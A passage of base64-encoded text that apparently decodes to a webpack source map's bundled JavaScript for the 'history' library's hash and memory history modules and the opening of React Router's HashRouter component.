biAgICAgIGdvKGRlbHRhKTtcbiAgICB9XG4gIH07XG5cbiAgLy8gRW5zdXJlIHRoZSBoYXNoIGlzIGVuY29kZWQgcHJvcGVybHkgYmVmb3JlIGRvaW5nIGFueXRoaW5nIGVsc2UuXG4gIHZhciBwYXRoID0gZ2V0SGFzaFBhdGgoKTtcbiAgdmFyIGVuY29kZWRQYXRoID0gZW5jb2RlUGF0aChwYXRoKTtcblxuICBpZiAocGF0aCAhPT0gZW5jb2RlZFBhdGgpIHJlcGxhY2VIYXNoUGF0aChlbmNvZGVkUGF0aCk7XG5cbiAgdmFyIGluaXRpYWxMb2NhdGlvbiA9IGdldERPTUxvY2F0aW9uKCk7XG4gIHZhciBhbGxQYXRocyA9IFtjcmVhdGVQYXRoKGluaXRpYWxMb2NhdGlvbildO1xuXG4gIC8vIFB1YmxpYyBpbnRlcmZhY2VcblxuICB2YXIgY3JlYXRlSHJlZiA9IGZ1bmN0aW9uIGNyZWF0ZUhyZWYobG9jYXRpb24pIHtcbiAgICByZXR1cm4gJyMnICsgZW5jb2RlUGF0aChiYXNlbmFtZSArIGNyZWF0ZVBhdGgobG9jYXRpb24pKTtcbiAgfTtcblxuICB2YXIgcHVzaCA9IGZ1bmN0aW9uIHB1c2gocGF0aCwgc3RhdGUpIHtcbiAgICB3YXJuaW5nKHN0YXRlID09PSB1bmRlZmluZWQsICdIYXNoIGhpc3RvcnkgY2Fubm90IHB1c2ggc3RhdGU7IGl0IGlzIGlnbm9yZWQnKTtcblxuICAgIHZhciBhY3Rpb24gPSAnUFVTSCc7XG4gICAgdmFyIGxvY2F0aW9uID0gY3JlYXRlTG9jYXRpb24ocGF0aCwgdW5kZWZpbmVkLCB1bmRlZmluZWQsIGhpc3RvcnkubG9jYXRpb24pO1xuXG4gICAgdHJhbnNpdGlvbk1hbmFnZXIuY29uZmlybVRyYW5zaXRpb25Ubyhsb2NhdGlvbiwgYWN0aW9uLCBnZXRVc2VyQ29uZmlybWF0aW9uLCBmdW5jdGlvbiAob2spIHtcbiAgICAgIGlmICghb2spIHJldHVybjtcblxuICAgICAgdmFyIHBhdGggPSBjcmVhdGVQYXRoKGxvY2F0aW9uKTtcbiAgICAgIHZhciBlbmNvZGVkUGF0aCA9IGVuY29kZVBhdGgoYmFzZW5hbWUgKyBwYXRoKTtcbiAgICAgIHZhciBoYXNoQ2hhbmdlZCA9IGdldEhhc2hQYXRoKCkgIT09IGVuY29kZWRQYXRoO1xuXG4gICAgICBpZiAoaGFzaENoYW5nZWQpIHtcbiAgICAgICAgLy8gV2UgY2Fubm90IHRlbGwgaWYgYSBoYXNoY2hhbmdlIHdhcyBjYXVzZWQgYnkgYSBQVVNILCBzbyB3ZSdkXG4gICAgICAgIC8vIHJhdGhlciBzZXRTdGF0ZSBoZXJlIGFuZCBpZ25vcmUgdGhlIGhhc2hjaGFuZ2UuIFRoZSBjYXZlYXQgaGVyZVxuICAgICAgICAvLyBpcyB0aGF0IG90aGVyIGhhc2ggaGlzdG9yaWVzIGluIHRoZSBwYWdlIHdpbGwgY29uc2lkZXIgaXQgYSBQT1AuXG4gICAgICAgIGlnbm9yZVBhdGggPSBwYXRoO1xuICAgICAgICBwdXNoSGFzaFBhdGgoZW5jb2RlZFBhdGgpO1xuXG4gICAgICAgIHZhciBwcmV2SW5kZXggPSBhbGxQYXRocy5sYXN0SW5kZXhPZihjcmVhdGVQYXRoKGhpc3RvcnkubG9jYXRpb24pKTtcbiAgICAgICAgdmFyIG5leHRQYXRocyA9IGFsbFBhdGhzLnNsaWNlKDAsIHByZXZJbmRleCA9PT0gLTEgPyAwIDogcHJldkluZGV4ICsgMSk7XG5cbiAgICAgICAgbmV4dFBhdGhzLnB1c2gocGF0aCk7XG4gICAgICAgIGFsbFBhdGhzID0gbmV4dFBhdGhzO1xuXG4gICAgICAgIHNldFN0YXRlKHsgYWN0aW9uOiBhY3Rpb24sIGxvY2F0aW9uOiBsb2NhdGlvbiB9KTtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIHdhcm5pbmcoZmFsc2UsICdIYXNoIGhpc3RvcnkgY2Fubm90IFBVU0ggdGhlIHNhbWUgcGF0aDsgYSBuZXcgZW50cnkgd2lsbCBub3QgYmUgYWRkZWQgdG8gdGhlIGhpc3Rvcnkgc3RhY2snKTtcblxuICAgICAgICBzZXRTdGF0ZSgpO1xuICAgICAgfVxuICAgIH0pO1xuICB9O1xuXG4gIHZhciByZXBsYWNlID0gZnVuY3Rpb24gcmVwbGFjZShwYXRoLCBzdGF0ZSkge1xuICAgIHdhcm5pbmcoc3RhdGUgPT09IHVuZGVmaW5lZCwgJ0hhc2ggaGlzdG9yeSBjYW5ub3QgcmVwbGFjZSBzdGF0ZTsgaXQgaXMgaWdub3JlZCcpO1xuXG4gICAgdmFyIGFjdGlvbiA9ICdSRVBMQUNFJztcbiAgICB2YXIgbG9jYXRpb24gPSBjcmVhdGVMb2NhdGlvbihwYXRoLCB1bmRlZmluZWQsIHVuZGVmaW5lZCwgaGlzdG9yeS5sb2NhdGlvbik7XG5cbiAgICB0cmFuc2l0aW9uTWFuYWdlci5jb25maXJtVHJhbnNpdGlvblRvKGxvY2F0aW9uLCBhY3Rpb24sIGdldFVzZXJDb25maXJtYXRpb24sIGZ1bmN0aW9uIChvaykge1xuICAgICAgaWYgKCFvaykgcmV0dXJuO1xuXG4gICAgICB2YXIgcGF0aCA9IGNyZWF0ZVBhdGgobG9jYXRpb24pO1xuICAgICAgdmFyIGVuY29kZWRQYXRoID0gZW5jb2RlUGF0aChiYXNlbmFtZSArIHBhdGgpO1xuICAgICAgdmFyIGhhc2hDaGFuZ2VkID0gZ2V0SGFzaFBhdGgoKSAhPT0gZW5jb2RlZFBhdGg7XG5cbiAgICAgIGlmIChoYXNoQ2hhbmdlZCkge1xuICAgICAgICAvLyBXZSBjYW5ub3QgdGVsbCBpZiBhIGhhc2hjaGFuZ2Ugd2FzIGNhdXNlZCBieSBhIFJFUExBQ0UsIHNvIHdlJ2RcbiAgICAgICAgLy8gcmF0aGVyIHNldFN0YXRlIGhlcmUgYW5kIGlnbm9yZSB0aGUgaGFzaGNoYW5nZS4gVGhlIGNhdmVhdCBoZXJlXG4gICAgICAgIC8vIGlzIHRoYXQgb3RoZXIgaGFzaCBoaXN0b3JpZXMgaW4gdGhlIHBhZ2Ugd2lsbCBjb25zaWRlciBpdCBhIFBPUC5cbiAgICAgICAgaWdub3JlUGF0aCA9IHBhdGg7XG4gICAgICAgIHJlcGxhY2VIYXNoUGF0aChlbmNvZGVkUGF0aCk7XG4gICAgICB9XG5cbiAgICAgIHZhciBwcmV2SW5kZXggPSBhbGxQYXRocy5pbmRleE9mKGNyZWF0ZVBhdGgoaGlzdG9yeS5sb2NhdGlvbikpO1xuXG4gICAgICBpZiAocHJldkluZGV4ICE9PSAtMSkgYWxsUGF0aHNbcHJldkluZGV4XSA9IHBhdGg7XG5cbiAgICAgIHNldFN0YXRlKHsgYWN0aW9uOiBhY3Rpb24sIGxvY2F0aW9uOiBsb2NhdGlvbiB9KTtcbiAgICB9KTtcbiAgfTtcblxuICB2YXIgZ28gPSBmdW5jdGlvbiBnbyhuKSB7XG4gICAgd2FybmluZyhjYW5Hb1dpdGhvdXRSZWxvYWQsICdIYXNoIGhpc3RvcnkgZ28obikgY2F1c2VzIGEgZnVsbCBwYWdlIHJlbG9hZCBpbiB0aGlzIGJyb3dzZXInKTtcblxuICAgIGdsb2JhbEhpc3RvcnkuZ28obik7XG4gIH07XG5cbiAgdmFyIGdvQmFjayA9IGZ1bmN0aW9uIGdvQmFjaygpIHtcbiAgICByZXR1cm4gZ28oLTEpO1xuICB9O1xuXG4gIHZhciBnb0ZvcndhcmQgPSBmdW5jdGlvbiBnb0ZvcndhcmQoKSB7XG4gICAgcmV0dXJuIGdvKDEpO1xuICB9O1xuXG4gIHZhciBsaXN0ZW5lckNvdW50ID0gMDtcblxuICB2YXIgY2hlY2tET01MaXN0ZW5lcnMgPSBmdW5jdGlvbiBjaGVja0RPTUxpc3RlbmVycyhkZWx0YSkge1xuICAgIGxpc3RlbmVyQ291bnQgKz0gZGVsdGE7XG5cbiAgICBpZiAobGlzdGVuZXJDb3VudCA9PT0gMSkge1xuICAgICAgYWRkRXZlbnRMaXN0ZW5lcih3aW5kb3csIEhhc2hDaGFuZ2VFdmVudCwgaGFuZGxlSGFzaENoYW5nZSk7XG4gICAgfSBlbHNlIGlmIChsaXN0ZW5lckNvdW50ID09PSAwKSB7XG4gICAgICByZW1vdmVFdmVudExpc3RlbmVyKHdpbmRvdywgSGFzaENoYW5nZUV2ZW50LCBoYW5kbGVIYXNoQ2hhbmdlKTtcbiAgICB9XG4gIH07XG5cbiAgdmFyIGlzQmxvY2tlZCA9IGZhbHNlO1xuXG4gIHZhciBibG9jayA9IGZ1bmN0aW9uIGJsb2NrKCkge1xuICAgIHZhciBwcm9tcHQgPSBhcmd1bWVudHMubGVuZ3RoID4gMCAmJiBhcmd1bWVudHNbMF0gIT09IHVuZGVmaW5lZCA/IGFyZ3VtZW50c1swXSA6IGZhbHNlO1xuXG4gICAgdmFyIHVuYmxvY2sgPSB0cmFuc2l0aW9uTWFuYWdlci5zZXRQcm9tcHQocHJvbXB0KTtcblxuICAgIGlmICghaXNCbG9ja2VkKSB7XG4gICAgICBjaGVja0RPTUxpc3RlbmVycygxKTtcbiAgICAgIGlzQmxvY2tlZCA9IHRydWU7XG4gICAgfVxuXG4gICAgcmV0dXJuIGZ1bmN0aW9uICgpIHtcbiAgICAgIGlmIChpc0Jsb2NrZWQpIHtcbiAgICAgICAgaXNCbG9ja2VkID0gZmFsc2U7XG4gICAgICAgIGNoZWNrRE9NTGlzdGVuZXJzKC0xKTtcbiAgICAgIH1cblxuICAgICAgcmV0dXJuIHVuYmxvY2soKTtcbiAgICB9O1xuICB9O1xuXG4gIHZhciBsaXN0ZW4gPSBmdW5jdGlvbiBsaXN0ZW4obGlzdGVuZXIpIHtcbiAgICB2YXIgdW5saXN0ZW4gPSB0cmFuc2l0aW9uTWFuYWdlci5hcHBlbmRMaXN0ZW5lcihsaXN0ZW5lcik7XG4gICAgY2hlY2tET01MaXN0ZW5lcnMoMSk7XG5cbiAgICByZXR1cm4gZnVuY3Rpb24gKCkge1xuICAgICAgY2hlY2tET01MaXN0ZW5lcnMoLTEpO1xuICAgICAgdW5saXN0ZW4oKTtcbiAgICB9O1xuICB9O1xuXG4gIHZhciBoaXN0b3J5ID0ge1xuICAgIGxlbmd0aDogZ2xvYmFsSGlzdG9yeS5sZW5ndGgsXG4gICAgYWN0aW9uOiAnUE9QJyxcbiAgICBsb2NhdGlvbjogaW5pdGlhbExvY2F0aW9uLFxuICAgIGNyZWF0ZUhyZWY6IGNyZWF0ZUhyZWYsXG4gICAgcHVzaDogcHVzaCxcbiAgICByZXBsYWNlOiByZXBsYWNlLFxuICAgIGdvOiBnbyxcbiAgICBnb0JhY2s6IGdvQmFjayxcbiAgICBnb0ZvcndhcmQ6IGdvRm9yd2FyZCxcbiAgICBibG9jazogYmxvY2ssXG4gICAgbGlzdGVuOiBsaXN0ZW5cbiAgfTtcblxuICByZXR1cm4gaGlzdG9yeTtcbn07XG5cbmV4cG9ydCBkZWZhdWx0IGNyZWF0ZUhhc2hIaXN0b3J5O1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2hpc3RvcnkvZXMvY3JlYXRlSGFzaEhpc3RvcnkuanNcbi8vIG1vZHVsZSBpZCA9IDE0M1xuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsInZhciBfdHlwZW9mID0gdHlwZW9mIFN5bWJvbCA9PT0gXCJmdW5jdGlvblwiICYmIHR5cGVvZiBTeW1ib2wuaXRlcmF0b3IgPT09IFwic3ltYm9sXCIgPyBmdW5jdGlvbiAob2JqKSB7IHJldHVybiB0eXBlb2Ygb2JqOyB9IDogZnVuY3Rpb24gKG9iaikgeyByZXR1cm4gb2JqICYmIHR5cGVvZiBTeW1ib2wgPT09IFwiZnVuY3Rpb25cIiAmJiBvYmouY29uc3RydWN0b3IgPT09IFN5bWJvbCAmJiBvYmogIT09IFN5bWJvbC5wcm90b3R5cGUgPyBcInN5bWJvbFwiIDogdHlwZW9mIG9iajsgfTtcblxudmFyIF9leHRlbmRzID0gT2JqZWN0LmFzc2lnbiB8fCBmdW5jdGlvbiAodGFyZ2V0KSB7IGZvciAodmFyIGkgPSAxOyBpIDwgYXJndW1lbnRzLmxlbmd0aDsgaSsrKSB7IHZhciBzb3VyY2UgPSBhcmd1bWVudHNbaV07IGZvciAodmFyIGtleSBpbiBzb3VyY2UpIHsgaWYgKE9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHkuY2FsbChzb3VyY2UsIGtleSkpIHsgdGFyZ2V0W2tleV0gPSBzb3VyY2Vba2V5XTsgfSB9IH0gcmV0dXJuIHRhcmdldDsgfTtcblxuaW1wb3J0IHdhcm5pbmcgZnJvbSAnd2FybmluZyc7XG5pbXBvcnQgeyBjcmVhdGVQYXRoIH0gZnJvbSAnLi9QYXRoVXRpbHMnO1xuaW1wb3J0IHsgY3JlYXRlTG9jYXRpb24gfSBmcm9tICcuL0xvY2F0aW9uVXRpbHMnO1xuaW1wb3J0IGNyZWF0ZVRyYW5zaXRpb25NYW5hZ2VyIGZyb20gJy4vY3JlYXRlVHJhbnNpdGlvbk1hbmFnZXInO1xuXG52YXIgY2xhbXAgPSBmdW5jdGlvbiBjbGFtcChuLCBsb3dlckJvdW5kLCB1cHBlckJvdW5kKSB7XG4gIHJldHVybiBNYXRoLm1pbihNYXRoLm1heChuLCBsb3dlckJvdW5kKSwgdXBwZXJCb3VuZCk7XG59O1xuXG4vKipcbiAqIENyZWF0ZXMgYSBoaXN0b3J5IG9iamVjdCB0aGF0IHN0b3JlcyBsb2NhdGlvbnMgaW4gbWVtb3J5LlxuICovXG52YXIgY3JlYXRlTWVtb3J5SGlzdG9yeSA9IGZ1bmN0aW9uIGNyZWF0ZU1lbW9yeUhpc3RvcnkoKSB7XG4gIHZhciBwcm9wcyA9IGFyZ3VtZW50cy5sZW5ndGggPiAwICYmIGFyZ3VtZW50c1swXSAhPT0gdW5kZWZpbmVkID8gYXJndW1lbnRzWzBdIDoge307XG4gIHZhciBnZXRVc2VyQ29uZmlybWF0aW9uID0gcHJvcHMuZ2V0VXNlckNvbmZpcm1hdGlvbixcbiAgICAgIF9wcm9wcyRpbml0aWFsRW50cmllcyA9IHByb3BzLmluaXRpYWxFbnRyaWVzLFxuICAgICAgaW5pdGlhbEVudHJpZXMgPSBfcHJvcHMkaW5pdGlhbEVudHJpZXMgPT09IHVuZGVmaW5lZCA/IFsnLyddIDogX3Byb3BzJGluaXRpYWxFbnRyaWVzLFxuICAgICAgX3Byb3BzJGluaXRpYWxJbmRleCA9IHByb3BzLmluaXRpYWxJbmRleCxcbiAgICAgIGluaXRpYWxJbmRleCA9IF9wcm9wcyRpbml0aWFsSW5kZXggPT09IHVuZGVmaW5lZCA/IDAgOiBfcHJvcHMkaW5pdGlhbEluZGV4LFxuICAgICAgX3Byb3BzJGtleUxlbmd0aCA9IHByb3BzLmtleUxlbmd0aCxcbiAgICAgIGtleUxlbmd0aCA9IF9wcm9wcyRrZXlMZW5ndGggPT09IHVuZGVmaW5lZCA/IDYgOiBfcHJvcHMka2V5TGVuZ3RoO1xuXG5cbiAgdmFyIHRyYW5zaXRpb25NYW5hZ2VyID0gY3JlYXRlVHJhbnNpdGlvbk1hbmFnZXIoKTtcblxuICB2YXIgc2V0U3RhdGUgPSBmdW5jdGlvbiBzZXRTdGF0ZShuZXh0U3RhdGUpIHtcbiAgICBfZXh0ZW5kcyhoaXN0b3J5LCBuZXh0U3RhdGUpO1xuXG4gICAgaGlzdG9yeS5sZW5ndGggPSBoaXN0b3J5LmVudHJpZXMubGVuZ3RoO1xuXG4gICAgdHJhbnNpdGlvbk1hbmFnZXIubm90aWZ5TGlzdGVuZXJzKGhpc3RvcnkubG9jYXRpb24sIGhpc3RvcnkuYWN0aW9uKTtcbiAgfTtcblxuICB2YXIgY3JlYXRlS2V5ID0gZnVuY3Rpb24gY3JlYXRlS2V5KCkge1xuICAgIHJldHVybiBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwga2V5TGVuZ3RoKTtcbiAgfTtcblxuICB2YXIgaW5kZXggPSBjbGFtcChpbml0aWFsSW5kZXgsIDAsIGluaXRpYWxFbnRyaWVzLmxlbmd0aCAtIDEpO1xuICB2YXIgZW50cmllcyA9IGluaXRpYWxFbnRyaWVzLm1hcChmdW5jdGlvbiAoZW50cnkpIHtcbiAgICByZXR1cm4gdHlwZW9mIGVudHJ5ID09PSAnc3RyaW5nJyA/IGNyZWF0ZUxvY2F0aW9uKGVudHJ5LCB1bmRlZmluZWQsIGNyZWF0ZUtleSgpKSA6IGNyZWF0ZUxvY2F0aW9uKGVudHJ5LCB1bmRlZmluZWQsIGVudHJ5LmtleSB8fCBjcmVhdGVLZXkoKSk7XG4gIH0pO1xuXG4gIC8vIFB1YmxpYyBpbnRlcmZhY2VcblxuICB2YXIgY3JlYXRlSHJlZiA9IGNyZWF0ZVBhdGg7XG5cbiAgdmFyIHB1c2ggPSBmdW5jdGlvbiBwdXNoKHBhdGgsIHN0YXRlKSB7XG4gICAgd2FybmluZyghKCh0eXBlb2YgcGF0aCA9PT0gJ3VuZGVmaW5lZCcgPyAndW5kZWZpbmVkJyA6IF90eXBlb2YocGF0aCkpID09PSAnb2JqZWN0JyAmJiBwYXRoLnN0YXRlICE9PSB1bmRlZmluZWQgJiYgc3RhdGUgIT09IHVuZGVmaW5lZCksICdZb3Ugc2hvdWxkIGF2b2lkIHByb3ZpZGluZyBhIDJuZCBzdGF0ZSBhcmd1bWVudCB0byBwdXNoIHdoZW4gdGhlIDFzdCAnICsgJ2FyZ3VtZW50IGlzIGEgbG9jYXRpb24tbGlrZSBvYmplY3QgdGhhdCBhbHJlYWR5IGhhcyBzdGF0ZTsgaXQgaXMgaWdub3JlZCcpO1xuXG4gICAgdmFyIGFjdGlvbiA9ICdQVVNIJztcbiAgICB2YXIgbG9jYXRpb24gPSBjcmVhdGVMb2NhdGlvbihwYXRoLCBzdGF0ZSwgY3JlYXRlS2V5KCksIGhpc3RvcnkubG9jYXRpb24pO1xuXG4gICAgdHJhbnNpdGlvbk1hbmFnZXIuY29uZmlybVRyYW5zaXRpb25Ubyhsb2NhdGlvbiwgYWN0aW9uLCBnZXRVc2VyQ29uZmlybWF0aW9uLCBmdW5jdGlvbiAob2spIHtcbiAgICAgIGlmICghb2spIHJldHVybjtcblxuICAgICAgdmFyIHByZXZJbmRleCA9IGhpc3RvcnkuaW5kZXg7XG4gICAgICB2YXIgbmV4dEluZGV4ID0gcHJldkluZGV4ICsgMTtcblxuICAgICAgdmFyIG5leHRFbnRyaWVzID0gaGlzdG9yeS5lbnRyaWVzLnNsaWNlKDApO1xuICAgICAgaWYgKG5leHRFbnRyaWVzLmxlbmd0aCA+IG5leHRJbmRleCkge1xuICAgICAgICBuZXh0RW50cmllcy5zcGxpY2UobmV4dEluZGV4LCBuZXh0RW50cmllcy5sZW5ndGggLSBuZXh0SW5kZXgsIGxvY2F0aW9uKTtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIG5leHRFbnRyaWVzLnB1c2gobG9jYXRpb24pO1xuICAgICAgfVxuXG4gICAgICBzZXRTdGF0ZSh7XG4gICAgICAgIGFjdGlvbjogYWN0aW9uLFxuICAgICAgICBsb2NhdGlvbjogbG9jYXRpb24sXG4gICAgICAgIGluZGV4OiBuZXh0SW5kZXgsXG4gICAgICAgIGVudHJpZXM6IG5leHRFbnRyaWVzXG4gICAgICB9KTtcbiAgICB9KTtcbiAgfTtcblxuICB2YXIgcmVwbGFjZSA9IGZ1bmN0aW9uIHJlcGxhY2UocGF0aCwgc3RhdGUpIHtcbiAgICB3YXJuaW5nKCEoKHR5cGVvZiBwYXRoID09PSAndW5kZWZpbmVkJyA/ICd1bmRlZmluZWQnIDogX3R5cGVvZihwYXRoKSkgPT09ICdvYmplY3QnICYmIHBhdGguc3RhdGUgIT09IHVuZGVmaW5lZCAmJiBzdGF0ZSAhPT0gdW5kZWZpbmVkKSwgJ1lvdSBzaG91bGQgYXZvaWQgcHJvdmlkaW5nIGEgMm5kIHN0YXRlIGFyZ3VtZW50IHRvIHJlcGxhY2Ugd2hlbiB0aGUgMXN0ICcgKyAnYXJndW1lbnQgaXMgYSBsb2NhdGlvbi1saWtlIG9iamVjdCB0aGF0IGFscmVhZHkgaGFzIHN0YXRlOyBpdCBpcyBpZ25vcmVkJyk7XG5cbiAgICB2YXIgYWN0aW9uID0gJ1JFUExBQ0UnO1xuICAgIHZhciBsb2NhdGlvbiA9IGNyZWF0ZUxvY2F0aW9uKHBhdGgsIHN0YXRlLCBjcmVhdGVLZXkoKSwgaGlzdG9yeS5sb2NhdGlvbik7XG5cbiAgICB0cmFuc2l0aW9uTWFuYWdlci5jb25maXJtVHJhbnNpdGlvblRvKGxvY2F0aW9uLCBhY3Rpb24sIGdldFVzZXJDb25maXJtYXRpb24sIGZ1bmN0aW9uIChvaykge1xuICAgICAgaWYgKCFvaykgcmV0dXJuO1xuXG4gICAgICBoaXN0b3J5LmVudHJpZXNbaGlzdG9yeS5pbmRleF0gPSBsb2NhdGlvbjtcblxuICAgICAgc2V0U3RhdGUoeyBhY3Rpb246IGFjdGlvbiwgbG9jYXRpb246IGxvY2F0aW9uIH0pO1xuICAgIH0pO1xuICB9O1xuXG4gIHZhciBnbyA9IGZ1bmN0aW9uIGdvKG4pIHtcbiAgICB2YXIgbmV4dEluZGV4ID0gY2xhbXAoaGlzdG9yeS5pbmRleCArIG4sIDAsIGhpc3RvcnkuZW50cmllcy5sZW5ndGggLSAxKTtcblxuICAgIHZhciBhY3Rpb24gPSAnUE9QJztcbiAgICB2YXIgbG9jYXRpb24gPSBoaXN0b3J5LmVudHJpZXNbbmV4dEluZGV4XTtcblxuICAgIHRyYW5zaXRpb25NYW5hZ2VyLmNvbmZpcm1UcmFuc2l0aW9uVG8obG9jYXRpb24sIGFjdGlvbiwgZ2V0VXNlckNvbmZpcm1hdGlvbiwgZnVuY3Rpb24gKG9rKSB7XG4gICAgICBpZiAob2spIHtcbiAgICAgICAgc2V0U3RhdGUoe1xuICAgICAgICAgIGFjdGlvbjogYWN0aW9uLFxuICAgICAgICAgIGxvY2F0aW9uOiBsb2NhdGlvbixcbiAgICAgICAgICBpbmRleDogbmV4dEluZGV4XG4gICAgICAgIH0pO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgLy8gTWltaWMgdGhlIGJlaGF2aW9yIG9mIERPTSBoaXN0b3JpZXMgYnlcbiAgICAgICAgLy8gY2F1c2luZyBhIHJlbmRlciBhZnRlciBhIGNhbmNlbGxlZCBQT1AuXG4gICAgICAgIHNldFN0YXRlKCk7XG4gICAgICB9XG4gICAgfSk7XG4gIH07XG5cbiAgdmFyIGdvQmFjayA9IGZ1bmN0aW9uIGdvQmFjaygpIHtcbiAgICByZXR1cm4gZ28oLTEpO1xuICB9O1xuXG4gIHZhciBnb0ZvcndhcmQgPSBmdW5jdGlvbiBnb0ZvcndhcmQoKSB7XG4gICAgcmV0dXJuIGdvKDEpO1xuICB9O1xuXG4gIHZhciBjYW5HbyA9IGZ1bmN0aW9uIGNhbkdvKG4pIHtcbiAgICB2YXIgbmV4dEluZGV4ID0gaGlzdG9yeS5pbmRleCArIG47XG4gICAgcmV0dXJuIG5leHRJbmRleCA+PSAwICYmIG5leHRJbmRleCA8IGhpc3RvcnkuZW50cmllcy5sZW5ndGg7XG4gIH07XG5cbiAgdmFyIGJsb2NrID0gZnVuY3Rpb24gYmxvY2soKSB7XG4gICAgdmFyIHByb21wdCA9IGFyZ3VtZW50cy5sZW5ndGggPiAwICYmIGFyZ3VtZW50c1swXSAhPT0gdW5kZWZpbmVkID8gYXJndW1lbnRzWzBdIDogZmFsc2U7XG4gICAgcmV0dXJuIHRyYW5zaXRpb25NYW5hZ2VyLnNldFByb21wdChwcm9tcHQpO1xuICB9O1xuXG4gIHZhciBsaXN0ZW4gPSBmdW5jdGlvbiBsaXN0ZW4obGlzdGVuZXIpIHtcbiAgICByZXR1cm4gdHJhbnNpdGlvbk1hbmFnZXIuYXBwZW5kTGlzdGVuZXIobGlzdGVuZXIpO1xuICB9O1xuXG4gIHZhciBoaXN0b3J5ID0ge1xuICAgIGxlbmd0aDogZW50cmllcy5sZW5ndGgsXG4gICAgYWN0aW9uOiAnUE9QJyxcbiAgICBsb2NhdGlvbjogZW50cmllc1tpbmRleF0sXG4gICAgaW5kZXg6IGluZGV4LFxuICAgIGVudHJpZXM6IGVudHJpZXMsXG4gICAgY3JlYXRlSHJlZjogY3JlYXRlSHJlZixcbiAgICBwdXNoOiBwdXNoLFxuICAgIHJlcGxhY2U6IHJlcGxhY2UsXG4gICAgZ286IGdvLFxuICAgIGdvQmFjazogZ29CYWNrLFxuICAgIGdvRm9yd2FyZDogZ29Gb3J3YXJkLFxuICAgIGNhbkdvOiBjYW5HbyxcbiAgICBibG9jazogYmxvY2ssXG4gICAgbGlzdGVuOiBsaXN0ZW5cbiAgfTtcblxuICByZXR1cm4gaGlzdG9yeTtcbn07XG5cbmV4cG9ydCBkZWZhdWx0IGNyZWF0ZU1lbW9yeUhpc3Rvcnk7XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvaGlzdG9yeS9lcy9jcmVhdGVNZW1vcnlIaXN0b3J5LmpzXG4vLyBtb2R1bGUgaWQgPSAxNDRcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJmdW5jdGlvbiBfY2xhc3NDYWxsQ2hlY2soaW5zdGFuY2UsIENvbnN0cnVjdG9yKSB7IGlmICghKGluc3RhbmNlIGluc3RhbmNlb2YgQ29uc3RydWN0b3IpKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb25cIik7IH0gfVxuXG5mdW5jdGlvbiBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybihzZWxmLCBjYWxsKSB7IGlmICghc2VsZikgeyB0aHJvdyBuZXcgUmVmZXJlbmNlRXJyb3IoXCJ0aGlzIGhhc24ndCBiZWVuIGluaXRpYWxpc2VkIC0gc3VwZXIoKSBoYXNuJ3QgYmVlbiBjYWxsZWRcIik7IH0gcmV0dXJuIGNhbGwgJiYgKHR5cGVvZiBjYWxsID09PSBcIm9iamVjdFwiIHx8IHR5cGVvZiBjYWxsID09PSBcImZ1bmN0aW9uXCIpID8gY2FsbCA6IHNlbGY7IH1cblxuZnVuY3Rpb24gX2luaGVyaXRzKHN1YkNsYXNzLCBzdXBlckNsYXNzKSB7IGlmICh0eXBlb2Ygc3VwZXJDbGFzcyAhPT0gXCJmdW5jdGlvblwiICYmIHN1cGVyQ2xhc3MgIT09IG51bGwpIHsgdGhyb3cgbmV3IFR5cGVFcnJvcihcIlN1cGVyIGV4cHJlc3Npb24gbXVzdCBlaXRoZXIgYmUgbnVsbCBvciBhIGZ1bmN0aW9uLCBub3QgXCIgKyB0eXBlb2Ygc3VwZXJDbGFzcyk7IH0gc3ViQ2xhc3MucHJvdG90eXBlID0gT2JqZWN0LmNyZWF0ZShzdXBlckNsYXNzICYmIHN1cGVyQ2xhc3MucHJvdG90eXBlLCB7IGNvbnN0cnVjdG9yOiB7IHZhbHVlOiBzdWJDbGFzcywgZW51bWVyYWJsZTogZmFsc2UsIHdyaXRhYmxlOiB0cnVlLCBjb25maWd1cmFibGU6IHRydWUgfSB9KTsgaWYgKHN1cGVyQ2xhc3MpIE9iamVjdC5zZXRQcm90b3R5cGVPZiA/IE9iamVjdC5zZXRQcm90b3R5cGVPZihzdWJDbGFzcywgc3VwZXJDbGFzcykgOiBzdWJDbGFzcy5fX3Byb3RvX18gPSBzdXBlckNsYXNzOyB9XG5cbmltcG9ydCB3YXJuaW5nIGZyb20gXCJ3YXJuaW5nXCI7XG5pbXBvcnQgUmVhY3QgZnJvbSBcInJlYWN0XCI7XG5pbXBvcnQgUHJvcFR5cGVzIGZyb20gXCJwcm9wLXR5cGVzXCI7XG5pbXBvcnQgeyBjcmVhdGVIYXNoSGlzdG9yeSBhcyBjcmVhdGVIaXN0b3J5IH0gZnJvbSBcImhpc3RvcnlcIjtcbmltcG9ydCBSb3V0ZXIgZnJvbSBcIi4vUm91dGVyXCI7XG5cbi8qKlxuICogVGhlIHB1YmxpYyBBUEkgZm9yIGEgPFJvdXRlcj4gdGhhdCB1c2VzIHdpbmRvdy5sb2NhdGlvbi5oYXNoLlxuICovXG5cbnZhciBIYXNoUm91dGVyID0gZnVuY3Rpb24gKF9SZWFjdCRDb21wb25lbnQpIHtcbiAgX2luaGVyaXRzKEhhc2hSb3V0ZXIsIF9SZWFjdCRDb21wb25lbnQpO1xuXG4gIGZ1bmN0aW9uIEhhc2hSb3V0ZXIoKSB7XG4gICAgdmFyIF90ZW1wLCBfdGhpcywgX3JldDtcblxuICAgIF9jbGFzc0NhbGxDaGVjayh0aGlzLCBIYXNoUm91dGVyKTtcblxuICAgIGZvciAodmFyIF9sZW4gPSBhcmd1bWVudHMubGVuZ3RoLCBhcmdzID0gQXJyYXkoX2xlbiksIF9rZXkgPSAwOyBfa2V5IDwgX2xlbjsgX2tleSsrKSB7XG4gICAgICBhcmdzW19rZXldID0gYXJndW1